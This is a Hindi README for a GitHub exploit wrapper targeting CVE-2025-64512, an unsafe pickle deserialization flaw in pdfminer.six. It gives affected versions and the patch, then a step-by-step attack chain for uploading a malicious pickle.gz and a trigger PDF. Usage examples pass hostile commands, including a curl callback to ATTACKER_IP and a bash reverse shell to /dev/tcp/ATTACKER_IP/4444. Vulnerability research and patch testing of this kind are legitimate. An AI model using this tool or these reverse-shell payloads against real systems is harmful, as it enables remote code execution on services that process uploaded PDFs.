
CLI रैपर CVE-2025-64512 PoC के लिए जो दुर्भावनापूर्ण PDF और pickle.gz पेलोड उत्पन्न करता है, pdfminer.six में असुरक्षित डिसीरियलाइज़ेशन का शोषण करने के लिए, तैयार की गई PDF प्रोसेसिंग के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है।
⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन परीक्षण के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।
pdfminer.six एक व्यापक रूप से उपयोग की जाने वाली Python लाइब्रेरी है जो PDF फ़ाइलों से टेक्स्ट और मेटाडेटा निकालने के लिए है, जो आमतौर पर दस्तावेज़-प्रसंस्करण पाइपलाइनों, CLI उपकरणों और AI/डेटा इंजेक्शन वर्कफ़्लोज़ में एम्बेडेड होती है। प्रभावित संस्करण CJK फ़ॉन्ट समर्थन के लिए CMap (कैरेक्टर-मैप) कैश फ़ाइलों को Python के मॉड्यूल का उपयोग करके लोड करते हैं, बिना यह सत्यापित किए कि हल किया गया पथ अपेक्षित कैश निर्देशिका के भीतर ही रहता है।
pickleएक विशेष रूप से तैयार की गई PDF इस CMap लुकअप के लिए हमलावर-नियंत्रित पथ का संदर्भ दे सकती है। यदि हमलावर उस हल किए गए पथ पर एक दुर्भावनापूर्ण .pickle.gz फ़ाइल भी रख सकता है (उदाहरण के लिए, सह-स्थित फ़ाइल अपलोड सुविधा के माध्यम से), तो PDF को प्रोसेस करने से pickle.loads() हमलावर-नियंत्रित डेटा पर ट्रिगर होता है, जिसके परिणामस्वरूप मनमाना कोड निष्पादन होता है। यह सटीक तंत्र — जिसमें PoC PDF संरचना भी शामिल है — को आधिकारिक सलाहकार में mtolley द्वारा प्रलेखित किया गया था।
यह रिपॉजिटरी CVE-2025-64512 के लिए GitHub Security Advisory में प्रकाशित आधिकारिक प्रूफ-ऑफ-कॉन्सेप्ट के चारों ओर एक छोटा CLI रैपर है। यह कोई नई शोषण तकनीक प्रस्तुत नहीं करता — दुर्भावनापूर्ण PDF टेम्पलेट स्वयं सलाहकार से लगभग शब्दशः लिया गया है; यह स्क्रिप्ट केवल लक्ष्य पथ, निष्पादित करने के लिए कमांड और आउटपुट फ़ाइल नामों को पैरामीटरीकृत करती है ताकि PoC का पुन: उपयोग करना आसान हो।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2025-64512 |
| प्रभावित | pdfminer.six ≤ 20250506 (और markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| प्रकार | असुरक्षित डिसीरियलाइज़ेशन (CWE-502) |
| विशेषाधिकार | कोई नहीं (अनप्रमाणित, यदि PDF प्रसंस्करण उजागर है) |
| प्रभाव | मनमाना कोड निष्पादन |
| पैच | pdfminer.six 20251107+ |
pdfminer.six में CMapDB._load_data() एक CMap नाम — जो PDF फ़ॉन्ट की /Encoding प्रविष्टि से लिया गया है — को एक फ़ाइल पथ में हल करता है, और यदि यह .pickle.gz में समाप्त होता है तो इसे pickle.loads() से लोड करता है। फ़ंक्शन यह सत्यापित नहीं करता कि हल किया गया पथ pdfminer की अपनी cmap/ निर्देशिका के अंदर ही रहता है।
/Encoding हमलावर द्वारा चुने गए पथ को संदर्भित करता है (URL-एन्कोडेड, / के रूप में #2F)।.pickle.gz फ़ाइल जो PDF प्रोसेस होने के समय लक्ष्य फ़ाइलसिस्टम पर <उस पथ>.pickle.gz पर मौजूद हो।दोनों फ़ाइलें आमतौर पर उसी अपलोड चैनल के माध्यम से वितरित की जा सकती हैं जो अंततः pdfminer.six द्वारा प्रोसेस होता है (जैसे दस्तावेज़-इंजेक्शन पाइपलाइन), जब तक कि परिणामी डिस्क-पथ पूर्वानुमान योग्य या खोजे जा सकने वाले हों।
1. एक दुर्भावनापूर्ण pickle पेलोड उत्पन्न करें (अनपिकलिंग पर एक कमांड निष्पादित करता है)
2. इसे <नाम>.pickle.gz के रूप में संपीडित करें
3. एक "ट्रिगर" PDF उत्पन्न करें जिसका फ़ॉन्ट /Encoding उस .pickle.gz के पूर्ण लक्ष्य फ़ाइलसिस्टम पथ की ओर इशारा करता है (बिना एक्सटेंशन के)
4. दोनों फ़ाइलों को लक्ष्य पर पहुँचाएँ ताकि वे अपेक्षित पथों पर पहुँचें
5. प्रतीक्षा करें / pdfminer.six (या इस पर निर्मित किसी भी उपकरण, जैसे pdf2txt.py) को ट्रिगर PDF प्रोसेस करने के लिए ट्रिगर करें
6. pickle.loads() पेलोड निष्पादित करता है -> RCE
gzip, pickle, argparse)पेलोड उत्पन्न करने के लिए किसी तृतीय-पक्ष निर्भरता की आवश्यकता नहीं है। लक्ष्य के पास अपलोड की गई PDF को वास्तव में प्रोसेस करने वाला एक भेद्य pdfminer.six (या इस पर निर्भर कोई प्रोजेक्ट) होना चाहिए।
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT ट्रिगर PDF के लिए आउटपुट फ़ाइल नाम (डिफ़ॉल्ट: trigger.pdf)
--gz-out GZ_OUT pickle.gz पेलोड के लिए आउटपुट फ़ाइल नाम (डिफ़ॉल्ट: payload.pickle.gz)
--path PATH, -p PATH लक्ष्य फ़ाइलसिस्टम पर पूर्ण पथ (बिना .pickle.gz) जहाँ pickle.gz समाप्त होगा,
उदा. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
लक्ष्य पर निष्पादित करने का कमांड (डिफ़ॉल्ट: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
यह उत्पन्न करता है:
payload.pickle.gz — इसे पहले अपलोड करें, .../uploads/payload.pickle.gz परtrigger.pdf — इसे दूसरे स्थान पर अपलोड करें; जैसे ही लक्ष्य इसे pdfminer.six से प्रोसेस करेगा, कमांड चलेगाpython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz